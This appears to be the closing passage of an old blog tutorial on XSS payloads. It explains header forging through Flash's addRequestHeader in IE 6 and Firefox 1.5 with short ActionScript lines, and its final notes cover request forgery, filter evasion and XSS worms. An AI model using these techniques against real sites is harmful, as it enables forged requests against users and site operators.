The request is sent from the browser invoking the Flash object.
Any cookies the browser normally sends, will be sent in those
cases as well. The browser's User-Agent is sent, as well as all
browser standard headers. HTTPS links are supported.
This was successfully demonstrated with Microsoft IE 6.0,
Microsoft IE 6.0 SP2 and FireFox 1.5.0.4, running Flash 8.0.22.0
and Flash 7.0.19.0.
In IE, it is possible to overwrite some "normal" browser headers
by simply calling addRequestHeader with the new value. This is
applicable to both Referer and User-Agent. In FireFox 1.5.0.4,
such headers, when used in addRequestHeader() will be appended to
the HTTP request header section.
// One UA in IE 6.0 SP2, two UAs in FF 1.5.0.4
req.addRequestHeader("User-Agent","Hacker/1.0");
// One Referer in IE 6.0 SP2, two Referers in FF 1.5.0.4
req.addRequestHeader("Referer","http://somewhere/");
In IE, it is also possible to overwrite some more sensitive
headers (e.g. Host and Content-Length) by appending colon to the
header name (this technique was described in [3] in the context
of XmlHttpRequest):
req.addRequestHeader("Host:","foobar.site");
This technique doesn't appear to work in FireFox 1.5.0.4.
After a bit of testing it is dissapointing to learn that if headers are sent more than once then PHP simply appends them together with a comma and a space as separaters, and since most web apps will only check if a string is equal, this rules out Referer spoofing on Firefox.
Sending POST requests is still possible though, and so if you need to send post requests but do not need to perform Referer spoofing and don't want to worry about finding source code in the page, and how AJAX works, getting it to work on IE, etc, then Flash is a very nice choice.
I don't think I need to provide an example for this section, so unless someone really needs one (which I hope you don't), so you'll have to write your own.
======================
5.0 Final Notes
======================
As you can see if you can execute arbitary Javascript code you can do a lot of damage, especially if you have access ot the XXMLHttpRequest Object, in which case you can forge absolutely everything which does not require user intelligence (such as being able to decode a CAPTCHA, which you can socially engineer the victim into decoding for you anyway, or having the user enter a assword or similar).
Also, to minimise the size of the code here you can always do things like replacing all my calls to the [String.]concat() method to concatenate strings, with plus signs to concatenate strings, or performing other little shortcuts, or shortening variable names, but the code should be short enough to pass in most places.
Update:Furthermore, if you have the ability to embed Flash files, then writing an XSS worm is generally much simpler than using AJAX, but it is also something that you will rarely find when trying to evade filters. So if you are more comfortable using Flash then your life just got much easier.
A quick explanatory note:
First of all Flash was initially left out because I only knew about the method of executing Javascript and thought that would be better covered somewhere which deals with XSS vectors rather than their payloads, and so did not choose to include it. I have included the simple version in version 0.3 for a bit more completeness. Amit Klien's paper came out about 2-3 weeks after I published version 0.2 of this (which itself was published more than 2 months before that), and as I had only very ilmited experience with Flash I did not myself know of the system in place.
Written by kuza55.
Update:
======================
6.0 References
======================
Everything up to version 0.2 was done from my own knowledge and discovery and so a references section was not needed. Now with the addition of Flash I have some references.
[1] "Forging HTTP Request Headers with Flash ActionScript" by Amit Klein
http://www.securityfocus.com/archive/1/441014/30/
Subscribe to:
Posts (Atom)